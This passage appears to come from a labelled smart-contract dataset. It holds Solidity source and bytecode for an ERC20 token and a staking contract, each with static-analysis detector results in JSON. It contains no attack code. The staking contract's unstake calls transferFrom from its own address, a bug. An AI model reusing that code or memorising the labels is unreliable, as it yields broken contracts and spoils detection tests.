168252810191909152604001600020558451611494908690839081106110a157fe5b925033600160a060020a031686828151811015156114ae57fe5b90602001906020020151600160a060020a0316600080516020611d3b83398151915287848151811015156114de57fe5b90602001906020020151856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561152c578181015183820152602001611514565b50505050905090810190601f1680156115595780820380516001836020036101000a031916815260200191505b50935050505060405180910390a36001016112fb565b600160a060020a033316600090815260016020526040902054610cca908463ffffffff61194416565b60005433600160a060020a039081169116146115b357600080fd5b600160a060020a03811615156115c857600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000805460a060020a900460ff161561164857600080fd5b600160a060020a038516151561165d57600080fd5b600160a060020a03851660009081526003602052604090205460ff161561168357600080fd5b600160a060020a03331660009081526003602052604090205460ff16156116a957600080fd5b6116b285611951565b156118f357836116c13361092f565b10156116cc57600080fd5b6116e5846116d98761092f565b9063ffffffff61190916565b600160a060020a0386166000908152600160205260409020556117178461170b8761092f565b9063ffffffff61194416565b600160a060020a038616600081815260016020908152604080832094909455925185519293919286928291908401908083835b602083106117695780518252601f19909201916020918201910161174a565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b838110156117fb5781810151838201526020016117e3565b50505050905090810190601f1680156118285780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561184857fe5b84600160a060020a031633600160a060020a0316600080516020611d3b83398151915286866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156118b0578181015183820152602001611898565b50505050905090810190601f1680156118dd5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001611901565b6118fe858585611bb9565b90505b949350505050565b60008282111561191557fe5b50900390565b600082151561192c5750600061077c565b5081810281838281151561193c57fe5b041461077c57fe5b8181018281101561077c57fe5b6000903b1190565b600080600160a060020a038516151561197157600080fd5b600160a060020a03851660009081526003602052604090205460ff161561199757600080fd5b836119a13361092f565b10156119ac57600080fd5b600160a060020a03331660009081526003602052604090205460ff16156119d257600080fd5b6119df846116d93361092f565b600160a060020a033316600090815260016020526040902055611a058461170b8761092f565b600160a060020a0380871660008181526001602090815260408083209590955593517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523393841660048201908152602482018a90526060604483019081528951606484015289518c9850949663c0ee0b8a96958c958c9560840192860191908190849084905b83811015611aa5578181015183820152602001611a8d565b50505050905090810190601f168015611ad25780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015611af357600080fd5b505af1158015611b07573d6000803e3d6000fd5b5050505084600160a060020a031633600160a060020a0316600080516020611d3b83398151915286866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611b73578181015183820152602001611b5b565b50505050905090810190601f168015611ba05780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3506001949350505050565b6000600160a060020a0384161515611bd057600080fd5b600160a060020a03841660009081526003602052604090205460ff1615611bf657600080fd5b82611c003361092f565b1015611c0b57600080fd5b600160a060020a03331660009081526003602052604090205460ff1615611c3157600080fd5b611c3e836116d93361092f565b600160a060020a033316600090815260016020526040902055611c648361170b8661092f565b6001600086600160a060020a0316600160a060020a031681526020019081526020016000208190555083600160a060020a031633600160a060020a0316600080516020611d3b83398151915285856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611cf5578181015183820152602001611cdd565b50505050905090810190601f168015611d225780820380516001836020036101000a031916815260200191505b50935050505060405180910390a350600193925050505600e19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16a165627a7a723058209adab7cfa2e8163db56bb3672b8c2e9a4878b77545847aff1496ff4a45ef42e10029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
3,039
0x79a0de2037c2a04b540666fb86d3afcf5ffd848c
/** *Submitted for verification at Etherscan.io on 2021-10-31 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // '!' contract // // Symbol : ! // Name : ! // Total supply: 1 000 000 000 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract ExclamationMark is BurnableToken { string public constant name = "!"; string public constant symbol = "!"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a15565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bdb565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6c565b6040518082815260200191505060405180910390f35b6103b1610eb5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f12565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e6565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e2565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611369565b005b6040518060400160405280600181526020017f210000000000000000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b890919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cf90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b890919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a66038d7ea4c680000281565b60008111610a2257600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6e57600080fd5b6000339050610ac582600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b890919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1d826001546114b890919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cec576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d80565b610cff83826114b890919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600181526020017f210000000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4d57600080fd5b610f9f82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103482600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cf90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117782600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cf90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113c157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113fb57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c457fe5b818303905092915050565b6000808284019050838110156114e157fe5b809150509291505056fea26469706673582212204f7de45204194e9677760e0838a46b5470a54e59dd47a6ed869cf7f3eacc49d264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,040
0x61f33879f0f9b1a48fd41df0a3d8665659fce93c
/** *Submitted for verification at Etherscan.io on 2021-06-28 */ // SPDX-License-Identifier: MIT pragma solidity ^0.5.16; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Context { constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library BasisPoints { using SafeMath for uint; uint constant private BASIS_POINTS = 10000; function mulBP(uint amt, uint bp) internal pure returns (uint) { if (amt == 0) return 0; return amt.mul(bp).div(BASIS_POINTS); } function divBP(uint amt, uint bp) internal pure returns (uint) { require(bp > 0, "Cannot divide by zero."); if (amt == 0) return 0; return amt.mul(BASIS_POINTS).div(bp); } function addBP(uint amt, uint bp) internal pure returns (uint) { if (amt == 0) return 0; if (bp == 0) return amt; return amt.add(mulBP(amt, bp)); } function subBP(uint amt, uint bp) internal pure returns (uint) { if (amt == 0) return 0; if (bp == 0) return amt; return amt.sub(mulBP(amt, bp)); } } interface IERC20 { function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Staking_Niron is Context, Ownable { using BasisPoints for uint; using SafeMath for uint; uint256 constant internal DISTRIBUTION_MULTIPLIER = 2 ** 64; IERC20 private token; mapping(address => uint) public stakeValue; mapping(address => int) public stakerPayouts; uint public totalDistributions; uint public totalStaked; uint public totalStakers; uint public profitPerShare; uint private emptyStakeTokens; //These are eth given to the contract when there are no stakers. uint public startTime; event OnDistribute(address sender, uint amountSent); event OnStake(address sender, uint amount); event OnUnstake(address sender, uint amount); event OnReinvest(address sender, uint amount); event OnWithdraw(address sender, uint amount); struct Checkpoint { uint128 fromBlock; uint128 value; } mapping(address => Checkpoint[]) internal stakeValueHistory; Checkpoint[] internal totalStakedHistory; modifier whenStakingActive { require(startTime != 0 && now > startTime, "Staking not yet started."); _; } constructor(IERC20 _token) public { token = _token; } function setStartTime(uint _startTime) external onlyOwner { startTime = _startTime; } function stake(uint amount) public whenStakingActive { require(token.balanceOf(msg.sender) >= amount, "Cannot stake more Tokens than you hold unstaked."); if (stakeValue[msg.sender] == 0) totalStakers = totalStakers.add(1); _addStake(amount); require(token.transferFrom(msg.sender, address(this), amount), "Stake failed due to failed transfer."); emit OnStake(msg.sender, amount); } function unstake(uint amount) external whenStakingActive { require(stakeValue[msg.sender] >= amount, "Cannot unstake more Token than you have staked."); // Update staker's history _updateCheckpointValueAtNow( stakeValueHistory[msg.sender], stakeValue[msg.sender], stakeValue[msg.sender].sub(amount) ); // Update total staked history _updateCheckpointValueAtNow( totalStakedHistory, totalStaked, totalStaked.sub(amount) ); //must withdraw all dividends, to prevent overflows withdraw(dividendsOf(msg.sender)); if (stakeValue[msg.sender] == amount) totalStakers = totalStakers.sub(1); totalStaked = totalStaked.sub(amount); stakeValue[msg.sender] = stakeValue[msg.sender].sub(amount); stakerPayouts[msg.sender] = uintToInt(profitPerShare.mul(stakeValue[msg.sender])); require(token.transferFrom(address(this), msg.sender, amount), "Unstake failed due to failed transfer."); emit OnUnstake(msg.sender, amount); } function withdraw(uint amount) public whenStakingActive { require(dividendsOf(msg.sender) >= amount, "Cannot withdraw more dividends than you have earned."); stakerPayouts[msg.sender] = stakerPayouts[msg.sender] + uintToInt(amount.mul(DISTRIBUTION_MULTIPLIER)); msg.sender.transfer(amount); emit OnWithdraw(msg.sender, amount); } function distribute() external payable { uint amount = msg.value; if(amount > 0){ totalDistributions = totalDistributions.add(amount); _increaseProfitPerShare(amount); emit OnDistribute(msg.sender, amount); } } function dividendsOf(address staker) public view returns (uint) { int divPayout = uintToInt(profitPerShare.mul(stakeValue[staker])); require(divPayout >= stakerPayouts[staker], "dividend calc overflow"); return uint(divPayout - stakerPayouts[staker]) .div(DISTRIBUTION_MULTIPLIER); } function totalStakedAt(uint _blockNumber) public view returns(uint) { // If we haven't initialized history yet if (totalStakedHistory.length == 0) { // Use the existing value return totalStaked; } else { // Binary search history for the proper staked amount return _getCheckpointValueAt( totalStakedHistory, _blockNumber ); } } function stakeValueAt(address _owner, uint _blockNumber) public view returns (uint) { // If we haven't initialized history yet if (stakeValueHistory[_owner].length == 0) { // Use the existing latest value return stakeValue[_owner]; } else { // Binary search history for the proper staked amount return _getCheckpointValueAt(stakeValueHistory[_owner], _blockNumber); } } function uintToInt(uint val) internal pure returns (int) { if (val >= uint(-1).div(2)) { require(false, "Overflow. Cannot convert uint to int."); } else { return int(val); } } function _addStake(uint _amount) internal { // Update staker's history _updateCheckpointValueAtNow( stakeValueHistory[msg.sender], stakeValue[msg.sender], stakeValue[msg.sender].add(_amount) ); // Update total staked history _updateCheckpointValueAtNow( totalStakedHistory, totalStaked, totalStaked.add(_amount) ); totalStaked = totalStaked.add(_amount); stakeValue[msg.sender] = stakeValue[msg.sender].add(_amount); uint payout = profitPerShare.mul(_amount); stakerPayouts[msg.sender] = stakerPayouts[msg.sender] + uintToInt(payout); } function _increaseProfitPerShare(uint amount) internal { if (totalStaked != 0) { if (emptyStakeTokens != 0) { amount = amount.add(emptyStakeTokens); emptyStakeTokens = 0; } profitPerShare = profitPerShare.add(amount.mul(DISTRIBUTION_MULTIPLIER).div(totalStaked)); } else { emptyStakeTokens = emptyStakeTokens.add(amount); } } function _getCheckpointValueAt(Checkpoint[] storage checkpoints, uint _block) view internal returns (uint) { // This case should be handled by caller if (checkpoints.length == 0) return 0; // Use the latest checkpoint if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; // Use the oldest checkpoint if (_block < checkpoints[0].fromBlock) return checkpoints[0].value; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } function _updateCheckpointValueAtNow( Checkpoint[] storage checkpoints, uint _oldValue, uint _value ) internal { require(_value <= uint128(-1)); require(_oldValue <= uint128(-1)); if (checkpoints.length == 0) { Checkpoint storage genesis = checkpoints[checkpoints.length++]; genesis.fromBlock = uint128(block.number - 1); genesis.value = uint128(_oldValue); } if (checkpoints[checkpoints.length - 1].fromBlock < block.number) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1]; oldCheckPoint.value = uint128(_value); } } }
0x6080604052600436106101085760003560e01c80638650e92a11610095578063c9c5323211610064578063c9c53232146102e4578063d7a88e3c1461030e578063e4fc6b6d14610341578063f2fde38b14610349578063fc8690a21461037c57610108565b80638650e92a1461025f57806386989038146102745780638da5cb5b14610289578063a694fc3a146102ba57610108565b80633e0a322d116100dc5780633e0a322d146101bd5780636921091a146101e7578063715018a61461022057806378e9792514610235578063817b1cd21461024a57610108565b806265318b1461010d578063163db71b146101525780632e17de78146101675780632e1a7d4d14610193575b600080fd5b34801561011957600080fd5b506101406004803603602081101561013057600080fd5b50356001600160a01b03166103af565b60408051918252519081900360200190f35b34801561015e57600080fd5b50610140610486565b34801561017357600080fd5b506101916004803603602081101561018a57600080fd5b503561048c565b005b34801561019f57600080fd5b50610191600480360360208110156101b657600080fd5b5035610736565b3480156101c957600080fd5b50610191600480360360208110156101e057600080fd5b5035610874565b3480156101f357600080fd5b506101406004803603604081101561020a57600080fd5b506001600160a01b0381351690602001356108e3565b34801561022c57600080fd5b5061019161094a565b34801561024157600080fd5b506101406109fe565b34801561025657600080fd5b50610140610a04565b34801561026b57600080fd5b50610140610a0a565b34801561028057600080fd5b50610140610a10565b34801561029557600080fd5b5061029e610a16565b604080516001600160a01b039092168252519081900360200190f35b3480156102c657600080fd5b50610191600480360360208110156102dd57600080fd5b5035610a26565b3480156102f057600080fd5b506101406004803603602081101561030757600080fd5b5035610c6b565b34801561031a57600080fd5b506101406004803603602081101561033157600080fd5b50356001600160a01b0316610c90565b610191610ca2565b34801561035557600080fd5b506101916004803603602081101561036c57600080fd5b50356001600160a01b0316610d07565b34801561038857600080fd5b506101406004803603602081101561039f57600080fd5b50356001600160a01b0316610e11565b6001600160a01b03811660009081526002602052604081205460075482916103e5916103e09163ffffffff610e2316565b610e7c565b60016